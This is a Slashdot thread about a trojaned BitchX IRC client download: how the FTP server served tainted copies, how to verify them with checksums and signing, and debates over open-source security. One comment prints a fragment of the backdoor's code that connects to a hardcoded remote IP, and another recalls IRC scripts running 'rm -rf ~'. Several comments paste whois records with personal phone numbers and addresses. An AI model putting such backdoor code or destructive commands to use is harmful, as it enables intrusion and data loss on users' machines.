Slashdot Mirror


BitchX 1.0c19 IRC Client Backdoored

JRAC writes "A recent Bugtraq submission has indicated that the popular IRC client, BitchX, contains a backdoor. So far, only certain 1.0c19 files, downloaded from ftp.bitchx.com are reported to contain the malicious code. The BitchX developers have been notified, so hopefully a fix will be issued soon. Looks like irssi wasn't the only one ;)"

96 of 305 comments (clear)

  1. In other news ... by NASAKnight · · Score: 4, Funny

    Local inmates confirmed that there was a problem with people entering into BitchX's backdoor. The suspect is a large man calling himself 'big mamma.'

    --
    Fault loves the past, worry loves the future, but content enjoys the present.
    1. Re:In other news ... by flacco · · Score: 3, Insightful

      Oh yeah, gang rape is fucking hilarious until you're faced with the prospect of spending a few nights in jail.

      --
      pr0n - keeping monitor glass spotless since 1981.
  2. The name.... by wowbagger · · Score: 3, Interesting

    Am I the only one who felt a qualm about using this package because of the name?

    BitchX - "I 0NZ0R J00, B1TCH!"

    1. Re:The name.... by RealisticWeb.com · · Score: 3, Informative

      Your not alone by far. My computer (yes even my Linux box) is a family computer, and I refuse to use any software with names or content that is not appropriate for my children to see. Keep in mind that what is "appropriate" is totaly my opinion, and some people would argue with me, but my quesition is: why is this only ever an issue with open source software?

      --
      Sigs are out of style, so I'm not going to use one...oh wait..
    2. Re:The name.... by dalassa · · Score: 3, Insightful

      Because most companies have marketing people to hit them on the head and say no, this is not appropiate.

      --
      Feminism is the radical notion that women are people.
    3. Re:The name.... by Shagg · · Score: 2

      What I found funny was:

      BitchX backdoored

      --
      Unix is user friendly, it's just selective about who its friends are.
    4. Re:The name.... by bmetzler · · Score: 3, Informative

      It's not really that much of an issue. It would be trivial to go into the BitchX source code, edit the PROGNAME definition, or whatever the equivilent, and make yourself a nice new IRC client named whatever you want.

      Yes it is. Unless they've made major changes to the code recently. I tried to patching the code base about a year ago and make a censored version, but the program name is hardcoded in a million places. And once you do find and replace everything, you still have the problem of creating a new patch everytime a new version is released.

      -Brent

    5. Re:The name.... by realdpk · · Score: 3, Interesting

      perl -pi -e 's/bitchx/FamilyFunX/' `find . -type f -print`

      I'd think any average user could cut and paste that. :) Of course, changing BitchX to FamilyFunX won't change the fact that IRC is not meant for children, and that you should not let children on IRC AT ALL* if you're concerned about them seeing the word "Bitch". They'll see much worse.

      * Of course, you shouldn't let them on IRC or any other chat without supervision, but y'all knew that.

    6. Re:The name.... by frozenray · · Score: 2, Interesting

      >Unfortunately, at least in this part of the world, mingetty really is rather rude if you parse it right (ie wrong). And it is rather widespread in Linux distros.

      It's difficult to find a name that doesn't have negative connotations in some language spoken around the world, as many product managers have unwittingly discovered. Big businesses employ branding agencies to help them find good brand and product names, Open Source advocates can't afford the exhorbitant fees they demand (and then they come up with names like "Opteron", gack).

      Regarding "mingetty": in Swiss German (at least in the dialects spoken in the eastern parts of Switzerland) it's understood as "My godfather" if pronounced the right way. :-)

      --
      "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
  3. Most interesting... by phreak404 · · Score: 5, Interesting

    Is that when the vulnerability was first submitted they also submitted some interesting finds about the ftp server on BitchX.com serving trojaned and clean versions, depending on the originating IP, demonstrating that the server had been 0wned (more than likely).

    Sad that the developers didn't notice sooner, and it makes you wonder how many boxes have now additionally been 0wned because of this.

  4. Who's this? by Draoi · · Score: 5, Informative
    There's an interesting IP address hard-coded into the trojaned code;

    + sa.sin_port = htons (6667);
    + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    Doing a reverse-DNS lookup gives;
    ;; QUERY SECTION:
    ;; 17.115.77.213.in-addr.arpa, type = ANY, class = IN

    ;; ANSWER SECTION:
    17.115.77.213.in-addr.arpa. 1H IN PTR wenus.dtcomsa.com.
    .... so who are they??
    --
    Alison

    "It is a miracle that curiosity survives formal education." - Albert Einstein

    1. Re:Who's this? by larien · · Score: 2

      Probably the owners of another rooted box...

    2. Re:Who's this? by zdzichu · · Score: 4, Informative

      inetnum 213.77.115.0 - 213.77.115.255
      netname DATACOM
      descr Datacom
      descr Warszawa Bemowo
      country PL
      admin-c AW7760-RIPE
      tech-c RW7118-RIPE
      status ASSIGNED PA
      mnt-by AS5617-MNT
      changed tkielb@cst.tpsa.pl 20000915
      source RIPE

      (stupidly formatted because of lamefilter)

      --
      :wq
    3. Re:Who's this? by Draoi · · Score: 2

      True. At least it's a start - shutdown whatever's collecting data on port 6667 on the 0wn3d box & it'll stop the snoop ....

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    4. Re:Who's this? by Neil+Watson · · Score: 5, Informative
      PL is Poland.

      [nwatson@valetta ~]$whois 213.77.115.17
      % This is the RIPE Whois server.
      % The objects are in RPSL format.
      % Please visit http://www.ripe.net/rpsl for more information.
      % Rights restricted by copyright.
      % See http://www.ripe.net/ripencc/pub-services/db/copyri ght.html

      inetnum: 213.77.115.0 - 213.77.115.255
      netname: DATACOM
      descr: Datacom
      descr: Warszawa Bemowo
      country: PL
      admin-c: AW7760-RIPE
      tech-c: RW7118-RIPE
      status: ASSIGNED PA
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      route: 213.77.0.0/16
      descr: TPNET (PL)
      descr: Provider Local Registry
      origin: AS5617
      notify: konradpl@zt.piotrkow.tpsa.pl
      mnt-by: AS5617-MNT
      changed: konradpl@zt.piotrkow.tpsa.pl 20000728
      source: RIPE

      person: Arkadiusz Wrobel
      address: "DataCOM" S. A.
      address: ul Radiowa 21a m20
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 298639
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: AW7760-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      person: Rafal Wrzosek
      address: "DataCOM" S. A.
      address: ul Kaliskiego 11a /312
      address: 01 - 485 Warszawa
      address: POLAND
      phone: +48 606 145187
      fax-no: +48 22 6672495
      e-mail: awrobel@wat.waw.pl
      nic-hdl: RW7118-RIPE
      mnt-by: AS5617-MNT
      changed: tkielb@cst.tpsa.pl 20000915
      source: RIPE

      Yes, someone has most likely compromised the box and is using it for the backdoor. However, the owners of the box are still responsible for the lack of security that allowed their box to be compromised.

    5. Re:Who's this? by Neil+Watson · · Score: 3, Insightful
      I disagree. That would be equivalent to saying you are responsible for your house being burglared. Not having (adequate) security makes one a likely target. It does not, however, make you responsible.

      I see your point. Still, would you say the same for all the Windows users that did not patch there IIS code when Red Code hit?

      Anyone who has a box attached to the internet has a responsibilty to others. They have to be held accountable for something. It is true that nothing is crack proof and you can't expect people to have perfect security. However, they have to take reasonable steps to protect themselves and others. But, what are reasonable steps? Who can judge?

      If someone breaks into a house and steals a handgun, that was not locked up securly, and then uses it to commit armed robbery; should the home owner be responsible for the robbery? Of course not. However, the home owner should be responsible for improperly storying his handgun. This is the kind of responsiblity I'd like to see. Did someone take reasonable steps to secure their server?

      As for the IP in question at the beginning of this thread. At this time, I don't know any details so I'm not casting any blame.

    6. Re:Who's this? by jallen02 · · Score: 2, Insightful

      Well, what if your house was a known fire hazard that was like a fire stacked with tinder in the middle of a summer drought?

      That is how I would see the house if it were an operating system with unpatched vulnerabilities in it.

      Are you responsible if it burns down your neighborhood?

      No answers here.. just an interesting question to mull over.

      Jeremy

    7. Re:Who's this? by Sloppy · · Score: 3, Insightful
      I disagree. That would be equivalent to saying you are responsible for your house being burglared. Not having (adequate) security makes one a likely target. It does not, however, make you responsible.
      But your house isn't likely to be used as a weapon against the next victim. I think a much better analogy is that you are partly responsible if your gun is stolen. If you own a gun, you need to take special care and not just leave it around where any idiot or child can take it. The same goes for a computer that is hooked up to the Internet.
      --
      As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
    8. Re:Who's this? by afidel · · Score: 2

      A car would be a better analogy, it has a definite primary purpose of transportation, but can also be used for vehicular homicide. The normal use is fine and if the owner so chooses he can use it for a nefarious purpose, but it is much more likely to be used for wrong if it is stolen/removed from the controll of the owner.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    9. Re:Who's this? by AVee · · Score: 2

      whois -h whois.domaininfo.com dtcomsa.com:

      Registrar:domaininfo.com
      Domain Name: dtcomsa.com

      [Owner of domain]
      "dataCOM" S.A
      Dworcowa 15
      Plock, 09-402
      PL

      Nameserver: wenus.dtcomsa.com (213.77.115.17)
      Nameserver: ns5.ports.se (193.12.211.20)

      (emphasis mine)
      But wenus.dtcomsa.com is also in the mx record for dtcomsa.com and dtcomsa.com itself does not have an DNS record nor does www.dtcomsa.com...

    10. Re:Who's this? by xanadu-xtroot.com · · Score: 2
      so who are they??

      set:/ # host 213.77.115.17
      17.115.77.213.IN-ADDR.ARPA domain name pointer wenus.dtcomsa.com


      That wasn't so hard. but if you want, you can find out more.

      Geesh, these tools are just stitting there waiting to be used...
      --
      I'm not a prophet or a stone-age man,
      I'm just a mortal with potential of a super man.
    11. Re:Who's this? by Draoi · · Score: 2

      There's not a lot of stuff running on that box. There's no web server - nothing. I can't help wondering how it got 0wn3d if that's all that's going on over there *and* they're running ssh, so they should know what they're doing ..

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    12. Re:Who's this? by Draoi · · Score: 2
      No, I don't think "the only way to have your way with a box is through compromising a web server" - the only true way to secure a box is to unplug it & lock it in a cupboard. Anything else is a compromise.

      The reason I was asking was that it appears that they got most things right.

      - they're using BSD. Good choice for security.
      - they're using QPOP for POP3. Reasonably ok.
      - They're ... ummmm ... using sendmail. There are better options out there, like QMail, but at least the version they're using is reasonably late - 8.11.6
      - They've turned off all unnecessary ports. Most distros don't do that out of the box.
      - They're obviously using ssh.

      My point is that they're taking *reasonable* precautions but still obviously got r00t3d. I'm just wondering how ...

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    13. Re:Who's this? by mvdwege · · Score: 2

      Hey. That's interesting.

      I've been getting SSH scans from a Polish ISP right this week. I don't run BitchX (I use X-Chat), but a backdoor discovered with a Polish IP hardcoded in, and an increase in script kiddie activity from Poland in the same week doesn't sound like a coincidence to me.

      Mart
      --
      "I know I will be modded down for this": where's the option '-1, Asking for it'?
  5. It's Odd by Copperhead · · Score: 3, Interesting
    According to the bugtraq post, when you downloaded the file, sometimes you received the backdoored version, and other times you didn't.

    From the post, "There is something very strange going on with the FTP server on ftp.bitchx.org. In some cases, it serves up the trojaned version; in others, the original, safe version. It seems to be client / client-behavior based (we're not sure exactly what)."

    The post continues, "To add a little more to this; we've confirmed that if you come off of what appears to be a cablemodem/dsl IP you are likely to get a trojan'd copy. If you come off of a more static link, you are likely to get a clean copy."

    Very strange.

    --
    Your reality is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever. - Baron Munchausen
    1. Re:It's Odd by dattaway · · Score: 2

      I'm on a cablemodem and I tried getting the trojaned version hours after this was discovered. Apparently, the ftp server was fixed as I tried from multiple IP addresses and ways... Fortunately, I happened to have the tarball that I compiled from and the md5sum matched the good version.

      Moral of the story: *always* check md5sums, or use a packaging system that always checks it for you. Doesn't rpm automatically do this? Gentoo's portage does.

    2. Re:It's Odd by ceswiedler · · Score: 2

      If the ftp server was rooted, why couldn't they just replace the md5 sums? Usually I see them as files in the same directory as the tarballs. How hard is it to generate an md5 sum which matches the hacked version?

    3. Re:It's Odd by mindstrm · · Score: 3, Insightful

      Well, perhaps they wanted to spread it to dumb home users but not to anyone more professional. Perhaps they wanted to go longer without being caught.

      Perhaps it's actually a DNS issues, and it's directing some people to a dummy server.

    4. Re:It's Odd by frozenray · · Score: 3, Informative

      A user named uid0 made an excellent point in an usenet thread about the backdoored dsniff/fragroute/fragrouter utilities on monkey.org:

      This makes one wonder a question that would be best posed to the community; the purpose of MD5/SHA/etc is to provide unequivocal evidence as to the validity of a piece of data. More often than not, such files are kept in the same, vulnerable, location as the actual data. Clearly one can see the downfall of such a system.

      (source)

      --
      "There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
    5. Re:It's Odd by White+Shade · · Score: 2

      Actually, it makes perfect sense...

      If you were planning a DDOS attack, you'd want to make sure that people on fast but dynamic links (ie home users on cable/dsl who might not have good security) would be the ones to report into the 'home' ip..

      that way, the person who trojaned bitchx would have access to a number of perfect, 'safe', but nice and high-speed clients for doing whatever they want to anyone, with reduced chances of the victims (the backdoored people at least) noticing.

      only serving the trojaned versions to people who fit that description might have been a way to try and keep the backdoor 'low profile' .. the fewer people who get the backdoored version, the less chance of it becoming public. although, obviously in this case it didn't work very well..

      anyway, tiz just an idea.

      --
      ìì!
    6. Re:It's Odd by phyxeld · · Score: 2

      I am an end user but I guess its possible. Just like aol.com rotates ftp.netscape.com to different machines, there is a software for it.

      A software? Like BIND maybe? :)

      The DNS explanation makes the most sense (of why sometimes you get a good copy and sometimes not). Seems like modifying the ftpd running to spit out different files for different people would be more trouble than it's worth... A simple DNS exploit would get the same job done.

      It's a shame that the detailed analysis on security focus, which includes using different useragents and IP's, doesn't include a simple "host ftp.bitchx.org" for each... Thats most likely where the money's at.

      Currently:
      $ host www.bitchx.com
      Host not found.

      $ host www.bitchx.org
      Host not found.

      $ host ftp.bitchx.org
      Host not found.

      $ host ftp.bitchx.com
      ftp.bitchx.com is a nickname for ftp.cyberpunkz.org
      ftp.cyberpunkz.org has address 198.174.169.125


      (tried from several boxes with different isp's and nameservers; same results every time)

      And, an example of what the parent poster was talking about:
      $ host ads.web.aol.com
      ads.web.aol.com. has address 64.12.184.121
      ads.web.aol.com. has address 64.12.174.153
      ads.web.aol.com. has address 64.12.174.185
      ads.web.aol.com. has address 152.163.226.25
      ads.web.aol.com. has address 152.163.226.89
      ads.web.aol.com. has address 152.163.226.57
      ads.web.aol.com. has address 152.163.226.121
      ads.web.aol.com. has address 152.163.226.153
      ads.web.aol.com. has address 152.163.226.185
      ads.web.aol.com. has address 205.188.165.57
      ads.web.aol.com. has address 205.188.165.121
      ads.web.aol.com. has address 205.188.165.185
      ads.web.aol.com. has address 205.188.165.249
      ads.web.aol.com. has address 64.12.184.57
      ads.web.aol.com. has address 64.12.184.25
      ads.web.aol.com. has address 64.12.184.89

      --
      __
      Choose mnemonic identifiers. If you can't remember what mnemonic means, you've got a problem. - Larry Wall
    7. Re:It's Odd by Junta · · Score: 2

      The intent as I have seen it is that the MD5 sum comes from a different source than the thing being verified. For example in the portage system the md5sums are part of the tree, and distfiles are checked against those on download. Not the most ideal security, but it is a little more resiliant than putting them in one spot, that would just be pointless.

      So long as there are a concentrated, trusted, experienced few through which things are distributed, then gnupg could be employed to sign files and have those distribution masters public keys distributed with a distro. Problem here is that source files come from soooo many different maintainers that there would be as many public keys as packages. Of course with gentoo, instead of the 'portage masters' running md5sums, they could run this sort of signature, so that more permament public key would be around to verify files rather than a single vulnerable md5sum.... At that point there would then be three increasingly difficult levels to compromise to fool the system...

      --
      XML is like violence. If it doesn't solve the problem, use more.
    8. Re:It's Odd by Phexro · · Score: 2

      I was under the impression that most people signed MD5SUMS files with PGP/GPG. I know I do.

    9. Re:It's Odd by Quietust · · Score: 2

      Wouldn't that be a bit redundant?

      Why sign the checksum of a file when you can just sign the file itself?

      --
      * Q
      P.S. If you don't get this note, let me know and I'll write you another.
  6. ah, the good ol' days by MattW · · Score: 5, Funny

    This reminds me of the good old days, when people distributed like 20 different scripts for the irc2 client, all of which had some backdoor or another. Most of them listened for ctcp commands and would pass them directly to shell. CTCP GROK JUPE CMD ORD -- bonus points to anyone who can name all 4 scripts that had those backdoor commands. Then there were amusing tidbits like scripts that would flood anyone using the authors nick without the right hostmask. Then there was the 'Folder's Crystals' script -- it set your display to off, so you saw nothing even while you joined a channel and were saying, "I've just had all my files secretly replaced by folgers_crystals... let's see what happens!" (meanwhile, the script was executing rm -rf ~).

    Of course, back then, you could blame people for running something they didn't understand, since it was on the order of getting a whack-a-bill game by email and just running it, whereas tainted downloads aren't quite as shameful, but ah, it does bring back the memories of the Wild Days of irc...

  7. See, this is what's cool about OSS.. by XaXXon · · Score: 3, Insightful

    If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

    Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS, but I look at it as a strength. If one of their developers gets something like this into one of their products (either on his/her own or with the blessing of the company, the world may never know). With OSS, it's out in the open for everyone to see/fix.

    1. Re:See, this is what's cool about OSS.. by toupsie · · Score: 5, Insightful
      If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

      Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor, modify the FTP server and set up a bizarre distribution method (has anyone figured this out yet?). Granted many eyes helped find this problem, but in a closed source world, this wouldn't happen unless you had a disgruntled employee or a really stupid project manager. If BitchX were a commercial, closed source product, the exploit would most likely be a buffer overflow, not a blatant backdoor.

      Disclaimer: I use a closed source IRC product called, Ircle.

      --
      Strange women lying in ponds distributing swords is no basis for a system of government.
    2. Re:See, this is what's cool about OSS.. by Shagg · · Score: 2

      Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor

      I guess the only backdoors in MS software are the ones the developers put there ;)

      --
      Unix is user friendly, it's just selective about who its friends are.
    3. Re:See, this is what's cool about OSS.. by jmegq · · Score: 2
      > With OSS, it's out in the open for everyone to see/fix.

      Not really.

    4. Re:See, this is what's cool about OSS.. by toupsie · · Score: 2
      I guess the only backdoors in MS software are the ones the developers put there ;)

      Exactly! Check out this post in the same thread. I mentioned exactly this problem!!!

      --
      Strange women lying in ponds distributing swords is no basis for a system of government.
    5. Re:See, this is what's cool about OSS.. by torinth · · Score: 4, Insightful

      If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

      Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS, but I look at it as a strength. If one of their developers gets something like this into one of their products (either on his/her own or with the blessing of the company, the world may never know). With OSS, it's out in the open for everyone to see/fix.


      Please. It's open for everyone who has nothing better to do than read slashdot or bugtraq, maybe. What much of OSS needs but doesn't have is strict maintainers, who know what contributions are made to the product and know what they'll do before they're let in. Fortunately, some of the bigger projects have this (Linux kernel, *BSD, Mozilla), but alot of OSS today is about people being too lazy or incompetent to double check some 15-year-old hax0r's crappy-ass contribution until it's too late.

      The other thing OSS needs to enforce a little better is something along the lines of code signing. From what I can tell, it looks like somebody hijacked the bitchx FTP domain on some routes and is returning trojaned copies to the downloaders who are going through it. This is a weakness of OSS. It's much easier for me to grab a piece of Open Source software, drop some malicious code in it, and redistribute it from a hijacked domain than it is for me to do so with something I don't have the source to. Granted, it's still possible, if I inject code into the compiled version, but it's a hell of a lot easier to do it with source.

      The simplest move is to use MD5's for major releases and have some 3rd-party location to verify them. Freshmeat? Sourceforge? This, at least, could add some security, and would a central point for people to watch out for hijacking...

      Get your head out of the damned OSS-as-a-religion sand and look at what needs to be done to make it viable to people who don't fuck around reading about the next idiot to shoot himself into space in a backyard rocket.

      Meh. Enough ranting, for now.

      -Andrew

    6. Re:See, this is what's cool about OSS.. by Fizzlewhiff · · Score: 5, Insightful

      Not sure but on my non OSS operating system I run firewalls and intrusion detection software to help me catch spyware and other things which are accessing ports which I am not aware of. Since I'm not the only one who does this I would think the backdoor would be found. You don't have to see the source code to find holes if you can see the holes.

      Frankly I am quite tired of this common belief that thousands of eyes are constantly scanning OSS looking for problems to fix. In the 9 or so years I have been using Linux and GNU software I have never looked for such things. Maybe that is because I am a developer and spend enough time with my code. Even when I first started with Linux and things like CDROM and NICs required patching and compiling I was content with the code I was downloading. Hobbiests tended not to screw other hobbiests (unless money is changing hands) and I tend to still believe that. I really doubt there are that many people who police code. If you are working on something and notice a problem then you submit a patch but the belief of a huge and constant code review going on is a false one as far as I am concerned.

      With the popularity of Linux and free software however and the perceived threat to some commercial software it might be wise for OSS project leaders to be extra careful of new code that slips in. I have belived for a while that sooner or later we will see companies like Microsoft or Sun let slip some pattented code into a free software project just so they can come back later and shut it down with a lawsuit. Face it, these companies are getting hurt. A project like Mono has the potential to hurt .Net and if successful hurt Java. I would not have thought that someone would slip in a backdoor into a project however.

      Anyway, I don't think you can look at OSS or a closed source project and say one is more "secure" than the other. I think it really comes down to how it is managed and the quality of the people who are contributing. You might also want to consider they type of application.

      As far as IRC goes, this is a community where you are judged by how "bad-ass" your kick scripts are and your "l33t h4xx0r" skills. I'd be cautious of any IRC tool I used for that matter.

      --

      'Same speed C but faster'
    7. Re:See, this is what's cool about OSS.. by Codifex+Maximus · · Score: 2

      Wasn't this supposed backdoor in the ./configure script and not the finished executable proper? Or was linked into the executable but not part of the original code of BitchX?

      If so that would make it a viral type infection rather than an error or backdoor in the original BitchX code.

      --
      Codifex Maximus ~ In search of... a shorter sig.
    8. Re:See, this is what's cool about OSS.. by extrasolar · · Score: 2

      True, not all bugs are shallow. And many projects are almost desperately looking for more developers -- which is a scary sign.

      But the way I figure it, new developers have their software scrutinized more closely so you'd figure that someone joining just to mess things up wouldn't ever be really trusted.

      Not that this rules out an entire project whose purpose is simply to release a trojan. Which is why it is a good idea to check the mailing list archives and IRC channels first.

      I know Debian uses package signing. Many other distributions do the same thing.

      So safeguards are in place -- its just there's nothing full-proof about them.

    9. Re:See, this is what's cool about OSS.. by shepd · · Score: 2

      The difference:

      When your closed-source OSes firewall alerts you to a problem, can you find it? Can you fix it?

      Now, when this happens on an open-source OS, can you find and fix it?

      BitchX certainly isn't a critical application. But what if this was your web server? Do you wait until your vendor can supply you a fix, or would you (as a developer) rather tear into the code and fix it in a few minutes?

      That's the big difference. Its not just in the detection, but also in the speed of repair and availability of a fix.

      IMHO, closed-source software is simply not on the ball when it comes to getting patches out within a reasonable amount of time (which, to me, is under 24 hours of being alerted for a critical application). At least with open-source, if the vendor won't help you, you can at least help yourself.

      --
      If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
    10. Re:See, this is what's cool about OSS.. by TheAwfulTruth · · Score: 2, Insightful

      Probably only one in 10,000 people running apache could have found OR fixed that last root expoit on their own machine. So for 9,999 people open source doesn't matter at all.

      What the hell do you think source is anyway. Have YOU ever looked at it? That any person can just "look" at it and go "Oh, here it is, I'll just fix it here. There done."

      Apache had to fix that bug. And it wasn't in a day either, it took neary a week. Other people hacked at it. DIDN'T FIX IT, but SAID they did and tried distributing a broken patch. HORRAY OPEN SOURCE!

      We had to wait for the vendor to patch. Just like closed source. Code is generally FAR too complicated for anyone not familiar with it to just start hacking away at a "fix". Especially a "Security fix", which would require full regression testing to make sure the product still works as advertised and that the fix actually worked.

      --
      Contrary to popular belief, coding is not all free blow-jobs and beer. Those things cost MONEY!
    11. Re:See, this is what's cool about OSS.. by treat · · Score: 2
      Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor, modify the FTP server and set up a bizarre distribution method (has anyone figured this out yet?). Granted many eyes helped find this problem, but in a closed source world, this wouldn't happen unless you had a disgruntled employee or a really stupid project manager. If BitchX were a commercial, closed source product, the exploit would most likely be a buffer overflow, not a blatant backdoor.

      Are you seriously claiming that it is not possible to modify a binary? It is only slightly more difficult than modifying the source, and if you are doing it for the purposes of spreading backdoored software, the small difference in difficulty is not relevant at all.

    12. Re:See, this is what's cool about OSS.. by toupsie · · Score: 2
      Are you seriously claiming that it is not possible to modify a binary? It is only slightly more difficult than modifying the source, and if you are doing it for the purposes of spreading backdoored software, the small difference in difficulty is not relevant at all.

      Yes, I am seriously saying that a third party would not modify the binary, give it back to the Software Publisher and have the Software Publisher redistribute the modified binary to the public through their corporate FTP server.

      Did you think about your comment before you typed it? Or did you fail to read my original comment. It makes no sense what-so-ever what you typed.

      --
      Strange women lying in ponds distributing swords is no basis for a system of government.
    13. Re:See, this is what's cool about OSS.. by shepd · · Score: 2

      >Probably only one in 10,000 people running apache could have found OR fixed that last root expoit on their own machine.

      Perhaps so, but if a program were making a connection of a specific port, how hard would a:

      grep -r [port number] *

      really be?

      I would suggest that for many problems, especially backdoors (however, certainly not all) the fix should be obvious to anyone who has read a book on C.

      >Have YOU ever looked at it?

      I've not contracted a problem similar to the BitchX one, and others tend to be patched fast enough its not a problem.

      However, if I did see this activity that the backdoored BitchX causes, I would have certainly teared into the source.

      Like a surprising many other people. I only look at the source when I need to. But if I couldn't on those occasions when I needed to, I'd be sunk, or at least very disappointed.

      >And it wasn't in a day either, it took neary a week.

      That's why you have the source. Need a patch faster?

      FIX IT YOURSELF!

      >Other people hacked at it. DIDN'T FIX IT, but SAID they did and tried distributing a broken patch. HORRAY OPEN SOURCE!

      If you're a moron who runs patches from random people thinking that's your fix, well, guess what! That's as dumb as running cracks on windows programs to bypass time limits! Don't come running to me when you do idiotic things.

      >We had to wait for the vendor to patch.

      Only because either your company was to friggin' lame to have an in-house coder, or the program wasn't that important to you.

      My whole point, which you have failed miserably to disprove, is that you can fix open source software yourself if the vendor fails you. If you choose not to do so, that's your problem, not mine.

      >Code is generally FAR too complicated for anyone not familiar with it to just start hacking away at a "fix"

      Either hire competent coders, or don't fix the problem, but instead disable it.

      Disabling a problem might leave you missing features, but its a hell of a lot easier, and a hell of a lot better than the closed source alternative of simply not running the program at all.

      Case-in-point: Apache can have the problem disabled with a simple config hack if you weren't competent enough to have proper programmers to repair the problem properly.

      In short, don't blame open source for your company's/government's incompetence. And if it isn't for a company/government, I doubt that turning off the service for a week will seriously impede your way of life.

      --
      If you could be told what you can see or read, then it follows that you could be told what to say or think - BoC
    14. Re:See, this is what's cool about OSS.. by MartinG · · Score: 2

      what makes you think the source wouldn't be on the same machine the ftp server runs on? (I've seen much worse at closed source shops)
      If they had rooted the machine they _would_ have access to the source, but no white hats would.

      --
      -- MartinG To mail me: echo kewyjlcxyzvjfxbqwh | tr bcefhjklqvwxyz .@adgimnoprstu
    15. Re:See, this is what's cool about OSS.. by Jester99 · · Score: 2
      Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor

      Right. Because viruses *never* hijack the functionality of closed-source software. Computer viruses only make open-source programs malfunction.

    16. Re:See, this is what's cool about OSS.. by HiThere · · Score: 2

      I thought that was humor.

      You do know about binary patches, I trust. Backdoors don't require access to the source code. Not if you're good at assembler. (I'm not, but I've had to do binary patches on a couple of mainframe programs a few decades ago.)

      Still, when I first started working with computers binary patches were one of the common changes made to working programs. True, they were small. But with a compiler to generate the binary, all you need to do is patch in a jump to your code, and then a jump back afterwards.

      Perhaps things have really changed in ways that I didn't catch after dropping assembler. If so I'm sure someone will let me know just how stupid I'm being. But I doubt it.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    17. Re:See, this is what's cool about OSS.. by treat · · Score: 2
      Yes, I am seriously saying that a third party would not modify the binary, give it back to the Software Publisher and have the Software Publisher redistribute the modified binary to the public through their corporate FTP server.

      Surely the availability of source has nothing to do with the security of an FTP server or the entire network (including DNS) between you and the FTP server.

    18. Re:See, this is what's cool about OSS.. by analog_line · · Score: 2

      Yes, I am seriously saying that a third party would not modify the binary, give it back to the Software Publisher and have the Software Publisher redistribute the modified binary to the public through their corporate FTP server.

      Then you are seriously deluded. Did YOU even read your comment, because what you are saying is complete and utter nonsense.

      This guy didn't offer it as a patch which was then incorporated into BitchX. The software was modified, the FTP server distributing the software was rooted, the software replaced with the backdoored software (obviously in a sophisticated enough manner to evade casual inspection of the server), and people downloaded it.

      Binaries are an even more useful tool for distributing back doors, because it's even harder to notice, and those as blind to this avenue of attack as you appear to be will cheerfully run these back-doored binaries, believing erroneously that because it is a binary, it's safe. You couldn't be more wrong, and I hope you're never subject to the consequenses of your blindness in this area in the future.

    19. Re:See, this is what's cool about OSS.. by bugg · · Score: 2
      Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS,

      Some of us despise the GPL and love open source. Please don't incorrectly associate the two. It may reinforce the popular idea that the GPL is the guardian of everyone and that those who submit to the will of RMS will be saved, but it does nothing but confuse people and obscure the truth. It's no better than saying "People who don't like Microsoft (Mac users) tend to be computer illiterate weenies."

      --
      -bugg
    20. Re:See, this is what's cool about OSS.. by Dwonis · · Score: 2
      but it's damned hard, near impossible to do anything complex, unless you first partially reverse-engineer the software.

      Not really. All you need is some regular C code and a JMP instruction somewhere.

    21. Re:See, this is what's cool about OSS.. by Dwonis · · Score: 2
      I know Debian uses package signing. Many other distributions do the same thing.

      Internally, yes, but users can't verify packages...yet. AFAIK, the plan is to go forward with integrating debsig-verify after woody's release.

    22. Re:See, this is what's cool about OSS.. by Dwonis · · Score: 2
      The other thing OSS needs to enforce a little better is something along the lines of code signing.

      Yes, for the short term. For a longer-term solution, we need real security: application sandboxing.

  8. This may be an indication by boa13 · · Score: 2

    ... that Linux is gaining popularity among the crackers. This scenario is well known and has been explained for years. But it remained largelly theoretical until this year, it seems to me.

    So, now we can expect people that mostly ignored us to come and crack our servers, install backdoors into our releases. They're probably going to write better viruses, too. I guess this is the price you pay when you become mainstream.

    For years we've told the world how secure our OS was. Err, could be, once configured properly. The time has come, now, to do this.

    1. Re:This may be an indication by gmack · · Score: 2

      Mostly ignored?? What planet have you been on for the past several years?

      Linux has never been ignored and it can actually be a more desireable breakin from a kiddy prespective since it's much easier to make use of a broken Linux/unix box thanks to the inherent flexability and added bragging abillity to have broken something widely thought to be more secure.

      I see regular scans on my servers for wuftpd telnet and open bsd's ftp spectific holes. In fact last year I realised I hadn't secured a freebsd install while I was on the bus home. The next day I rushed in to secure but it was already rooted.(thankfully nothing installed yet)

      Running Linux, Freebsd or even OpenBSD has *never* been an excuse for slacking off on keeping servers updated/secured.

  9. Re:XSS in Slashcode by Jester998 · · Score: 4, Interesting

    Hey... nice "copy and paste" from the BugTraq posting...
    ----- BEGIN BugTraq POST -----

